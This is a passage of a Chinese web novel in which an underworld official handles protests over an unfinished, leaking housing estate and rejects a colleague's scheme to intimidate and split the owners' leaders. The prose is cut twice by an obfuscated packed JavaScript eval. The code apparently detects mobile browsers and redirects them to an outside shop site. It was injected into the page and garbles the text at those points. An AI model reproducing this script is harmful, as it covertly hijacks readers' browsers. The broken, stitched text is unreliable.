“桃源雅筑,两年前预售的高级小区,均价大概3亿一套,一共320户,按照售房协议,预计一个月后交房。”张松鹤带着她深一脚浅一脚地踩着泥巴路往小区里走,一边介绍道:“当然啦,你看这个样子就知道了,一个月以后肯定交不成房子——烂尾了。” 地府也有烂尾房,这还真不是新鲜事。首先,并不是所有游魂都有家人给他们烧房子下来的;其次,人口虽然没有繁衍,但在流动,每年都有人往大城市跑,他们在原籍的房子当然不会跟过来,所以房地产业在地府也还是很有市场的。 有建造就会有几率烂尾,譬如桃源雅筑这个小区,预售期房时自然吹得天花乱坠,结果半年前资金链断裂,地产商捉襟见肘,没钱给工人开工资,工人自然全都停工了。 若真要比较,桃源雅筑的情况已经算是好的,起码房子是盖完能住的,只是外立面和绿化没有修好。同一地产商开发的桃源小镇,地基刚打好就停工了,更是叫天不应叫地不灵。 然而等到祝平安进到建筑内部时,她决定收回刚刚那句话:才一踏进楼道里,就哗啦啦被水淋了个透心凉…… 抬头一看,大水柱如瀑布喷溅,小水流如涓滴清泉,地面是汪洋大海,空中是细雨绵绵,水从四面八方无孔不入地流下来,这哪是房子,根本就是水帘洞! 张松鹤在她头顶撑起一把伞,祝平安刘海上滴着水,失魂落魄地回望他:“这就是我第一个案子?” “没错,姑娘,挺住。”张松鹤拍拍她的肩膀:“组织上相信你,一定能把这件事圆满解决的,记住,你的任务是不要让业主们去游行示威,酿成群体性事件。我已经约了业主代表,跟我去见见他们吧。” 温尔雅开完会,抱着一大摞需要处理的文件回到自己工位上,就见到祝平安直挺挺地倒在椅子上,眼睛一眨不眨,可把他吓了一跳:“平安,你怎么了?” “……没事,就是头有点疼。”祝平安捂着脸,不知道怎么说刚刚发生的事情。四十多个业主代表群情激奋,老人哭,小孩叫,扬言上告者有之,自杀相胁者有之,磨刀霍霍者有之,口口声声都是要政府给个说法。 这可跟祝平安之前预想的工作情况不一样。经历过与荧惑星君那一战,现在要祝平安上刀山下火海,只要有温尔雅在身边,她都绝不打怵,但面对这些火力全开的老百姓……祝平安真是尾椎发麻,只想转身就跑。 她知道自己的工作是不能让业主们酿成群体性事件,看今天这个架势,一个月后大家住不进满意的房子,是真的会去游行示威的。 可……祝平安觉得,大家的情绪是可以理解的,辛苦工作还贷款,说不定还要亲朋好友支援才买了个房子,结果变成了一个水帘洞,换了她,她也不干。 难道我做差役,是为了帮助地府对付已经无辜受难的老百姓吗?那不成了助纣为虐了,祝平安闷闷地想着,一点也提不起精神,感觉世界观都有点崩塌了。 但在其位谋其政,她还是分派了一下组员们的工作:苗妙妙去搜集一下事件相关信息,龙如烈最近就在现场盯着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说罢,她快快地扫了张松鹤一眼,心里有点忐忑——张松鹤毕竟是上司呀。但张松鹤眉毛都没动一动:“是呀,这就是开发商没有好好履行合同么,老百姓当然要表达自己的诉求了。” “那你又说,我不能让他们酿成群体性事件。”祝平安有点迷茫:“你到底是站哪头的?” “我可是公共安全部的部长,自然是——”张松鹤拉长了声音:“——自然是站在正义的一方了。” “我跟你说正事呢,别开玩笑!”祝平安不高兴了。 “平安,如果你不想做这件事,也可以交给我的。”温尔雅也没怎么动那碗面,担心地瞧着祝平安:“你不想干的事情都给我,你只需要做自己喜欢的事情就好。” 他已经把事情听了个七七八八,不过是一些平民百姓而已,不是什么棘手的活计。只要祝平安点个头,他自然能处理的干干净净,哪怕让这批人从此销声匿迹也没问题。 “这是什么话!工作还能挑肥拣瘦?”张松鹤不屑地道:“你有本事把她的活都包办了,怎么没本事让全世界大和谐,一点坏事都不发生?” “张松鹤说得对,这是我的工作,我得自己学着处理,不能什么都让你来。”祝平安也摇了摇头,“只是感觉一下踏入从没见过的黑暗面了,心里有压力。” “是你想太复杂了,姑娘。”张松鹤吸哩呼噜吃完面条,“谁给了你这种错觉,让你防止出现集体性事件,就是阻碍百姓发声,不站在正义的一方了?” “这是你上班后遇到的第一个考验,别以为愿意为了保护别人而死,就是真正的差役了,你要学的还多着呢。”张松鹤逼着她俩吃完了面就开始赶人,“去吧,回去转转你的小脑瓜,好好想想我说的话。温尔雅,今天晚上你老实值班,不准回家干扰她的思路。” 52. 破局之法 可想而知,温尔雅自然不会老实值班。一想到平安那闷闷不乐的神情,素来稳重的他心里就好像有蚂蚁在咬一样,怎么都坐不住。一过十二点,他就溜出单位,还在街上买了好些点心零食,打算好好安慰安慰平安。 平安果然还没睡,坐在客厅正发呆,见他出现,有点惊讶:“你怎么回来了?不是要值班吗?翘班可不好。” 温尔雅没回答她的问题,只是把手上的点心往前一递:“给你带的,晚上只吃了一碗方便面,饿了吧?” 祝平安本想用组长的身份说他几句,但见他手里还提着一大包零食,一双眼睛定定地望着她,便知道他是担心自己才回来的,想说的话只得咽了回去:“谢谢,以后别这样了啊。” “还想那件事呢?”温尔雅见她不反对,立刻进了厨房找出几个碗盘盛好点心端出来,他审美好心思巧,这样精心一摆,几块连锁店铺买的点心看起来简直成了能端进国宴的高级货。 祝平安却没什么心思吃,但为了不拂逆温尔雅的好意,还是捡起来一块嚼着:“可不是,只是我脑子笨,想不通张松鹤说的那句话。” “不让百姓表达诉求,那我们还能是正义的一方吗?”祝平安絮絮地跟温尔雅说着自己的思绪,“他们有理,我却拦着他们,那我也能叫心系民众吗?” 往沙发后一倒,她眉宇间满是茫然:“温尔雅,你说这跟学校里学的……怎么一点都不一样呢?” 她这份茫然刺痛了温尔雅,让他忍不住想伸手去抚平她的眉头。但刚伸出手去,张松鹤那句“同部门者不得谈恋爱”的告诫就在他耳边响起,不管是为了自己的任务,还是平安的前途,他都不能把事情做的如此明显,他伸出的手转了个方向,从桌上拿起一杯茶,掩饰地喝了起来。 祝平安全没察觉,还是在说她自己的心事:“这种根本性的矛盾根本捂不住的,除非能还他们一个好好的房子,可这件事……我哪有能力去解决呢?我又不会修房子!张松鹤让我动动脑子,但我就是想不出什么好主意嘛!” “你一定行的。”温尔雅只能柔声安慰,“你只是缺乏经验而已,其实不让他们闹起来的方法很多。你听我说,320户人家,有能力带头闹事的只是那么几户而已,你把这几个带头的解决掉,其他人也就作鸟兽散了,根本翻不起什么浪花。” 他把自己的经验教给祝平安:“找到带头的人之后,你要对症下药。胆子小的,吓唬他几句,就能让他们不敢闹事了。若是实在吓唬不住,你就以利动人,所有业主都只想要自家拿到房子而已,别人的房子他们才不在意呢。” “你把这几个带头的人叫来,承诺说优先修复几位的房子,让他们不要闹事;再放出风声给其他人,说是地府已经和带头者达成协议,只要不闹事就给带头的几户交房。相关证据一拿出来,业主联盟自然就会发生内乱,分崩离析。到时候……” 他一下住了嘴,因为他发现祝平安睁大了眼睛,用一种不敢置信的眼光打量他:“你说什么?” 因为过于吃惊,她一时间找不到什么话语来表达自己的内心:“温尔雅,我都快不认识你了,你说的这些……这手段……你从哪里学的?你当真这么想吗?” 心猛地一跳,温尔雅本能地堆上一个笑容:“我随便说说,之前看戏的时候,就有见到过这种计谋,挺好用的。” “你说的那是反派瓦解主角团的阴谋吧!”祝平安隐隐有些不舒服,温尔雅这段话,拉拢分化熟极而流,细节考虑到位,好像是把自己曾做过的事情总结给她一样,让她心里一阵发寒:“照你说的这么做,我成什么人了?人家本来就够倒霉的了,我们还要这样去挑拨离间!” 她有些烦躁地摇了摇头,把手上半块吃剩的点心扔回盘子里:“怪不得张松鹤说不要让你干扰我的思路,本来就够头疼的了,真是……” 咬咬嘴唇,她到底没说什么不好的话:“明天还要去上班,我该睡觉了,你也不要太晚。” 她没再多看温尔雅一眼,起身就走。 自然,她也就没看见,温尔雅的脸上虽然还在笑着,手指却已经把衣角拽成了一团。长长的黑发垂下来,遮住了他大半张脸,桌上的茶水从热气腾腾变得冰凉彻骨,天空从阳光烂漫转为夜色低垂,他始终泥雕木塑般坐在那里,不动不言。 平安……在生气吗? 我只是把我知道的好办法教给她而已,我是哪里做错了? 他垂头回想着今夜种种,好像陷入一个从不曾涉足过的迷宫,看不见的墙壁压过来,令他无措而压抑。 她吃剩的半块桃花酥倒在盘子里,深红的馅料从她咬过的缺口流在磁青的盘子上,像一滴呕出来的心血。他伸手,把那一滴馅料揩掉,又面无表情地舔了一下指尖。 “是甜的。”他迷茫地抬起眼睛,“为什么她不喜欢呢?” 平安倒在自己的床上辗转反侧,直到凌晨才迷迷糊糊地进入一种似睡非睡的状态。 她梦见了许多东西,御剑而来的张松鹤,林间含笑的温尔雅,鞠躬致谢的魏玄成,还有琢玉学院的竹筒自来水、接驳车、市集……许多学员们主办的校园治理工作纷至沓来,最终,画面定格在登闻部举办的“我为学校提建议”活动上。 祝平安猛然打了个激灵,腾地一下从床上坐起来,窗外月上西山,她猛地披衣起床,一笔一划地将自己纷乱的思路写了下来:“民口如川,堵不如疏,游行也只是一种激烈的表达……他们想说,就得让他们说出来,但是要让他们安全的说……表达的方式和地点,都要由我们来决定……” 写着写着,她的思路越发清晰:“以特别行动组为中介,协调住房管理部,在交房前向业主们搜集诉求,全力推动地产商修缮房屋……” 是的,她现在明白张松鹤是什么意思了。防止群体性事件出现,是为了不让百姓选择最激烈的方式去表达,盖因这种表达很可能会酿成拥堵、骚乱、踩踏,危及其他无辜者。 但这不是一种“非正义”,不意味着要堵住百姓的嘴,而是要给大家的情绪找到安全的出口,让一个快要垮塌的水坝泄洪。 温尔雅有一句话说的没错,大家只是想让自家拿到房子而已。身为差役,为了保护大家而死不算本事,她最应该做的,是利用好自己现在的身份,帮助大家搭建起安全的表达渠道,让地产商直面问题,尽快修缮好房屋,让大家得到公道! 她把写好的文件往兜里一揣,只觉心情畅爽,若非还有点自制力,忍不住就要纵声长啸。她迅速地洗漱完,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837521|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步轻快地向大门外走去,路过客厅时,忍不住大吃一惊。 温尔雅居然还坐在沙发上,一动不动,笑容呆滞,两眼无神,整个人面色枯槁,竟好像是在沙发上坐了一夜的样子。她忍不住上前拍拍他的肩膀:“你怎么啦?你昨天没睡觉吗?” 感受到她手掌的温度,温尔雅这才一动,漂亮的眼皮一眨,似乎从什么噩梦里醒过来一样,泛上一个淡笑:“没,昨天也睡了几小时的,中途醒了一次就睡不着了,于是干脆到楼下坐会儿。到上班时间了吗?我们走吧?” 他一边说话,一边小心翼翼地观察祝平安的神色,生怕她还在为昨天的事情不高兴。可祝平安现在心情正好,早把昨天的事情忘到九霄云外去了,也没听出温尔雅试探之意:“好啊!你快去洗把脸,我在门口等你!” 一刹那,春风再临,草木还青,温尔雅脸上的笑容瞬间灿烂起来,明艳之态让祝平安都忍不住呆了一下:“好啊!我马上就来!” 满面春风的两个人进了单位,祝平安立马就冲去找张松鹤,把自己的想法说了一遍。张松鹤翻阅着她的方案,欣赏一笑:“好啊,不愧是你,转弯转的很快嘛。” 他看着这些文字,虽然略显生涩,但她无疑走在一条正道上,思路对了,只要稍微带着她熟悉一下办事流程,就能放手让她去做了。 张松鹤立刻觉得浑身的担子轻了一半,看平安更是十分满意,他把方案留下,貌似无意地问:“这东西是自己想出来的?昨天温尔雅没给你提什么建议吧?” 祝平安刚想说有,突然想起昨天温尔雅是翘班回来的,不能让张松鹤知道,一时间张口结舌,不知道该怎么说。张松鹤看她这副样子,心里就有数了,也不欲为难她,便摆摆手放行了:“叫温尔雅过来找我,有份文件让他写。” 温尔雅一进门,张松鹤就看见了他两眼的血丝:“昨天还是回去了?” 温尔雅微微一笑,却不回答。张松鹤也不愿多说,把祝平安写的文件推了过去:“好好地看看这个,按照里面的意思,起草成正式的公函,给住房管理部、业主代表会和桃源地产各发一份。” 温尔雅拿过来翻阅一下,认出了那熟悉的字迹。张松鹤嘴角噙着一丝讽刺的微笑:“看清楚了?” “温副组长,我知道你是一个很聪明的人,但你的那一套,并不是到哪里都合适。” 看着温尔雅逐渐转白的脸色,张松鹤怜悯地摇了摇头:“我昨天已经告诫过你了,但看来你并没有听进去。平安知道自己现在是谁,应该怎么做,你呢?你知道吗?” 他站起身,推门走了出去,在两人擦身而过的时候,冷漠地扔下了一句话:“见不得光的东西,是为了那些见不得光的人准备的,不是为了老百姓准备的。你把自己当成什么我管不着,但是,我的部门不是黑牢,平安也不是下三滥,不该出现的东西,你就收起来,别污染了平安。” 温尔雅的嘴唇几乎咬出了血,但他终究还是把这份情绪很好的掩藏了起来,对着张松鹤恭谨地点了一下头,拿起文件,转身走了出去。 无论温尔雅心里怎么想,他办事还是非常快的,两天后,祝平安收到了各方决定参会的回函,第一届桃园雅筑交房工作推进会就这样如火如荼地展开了。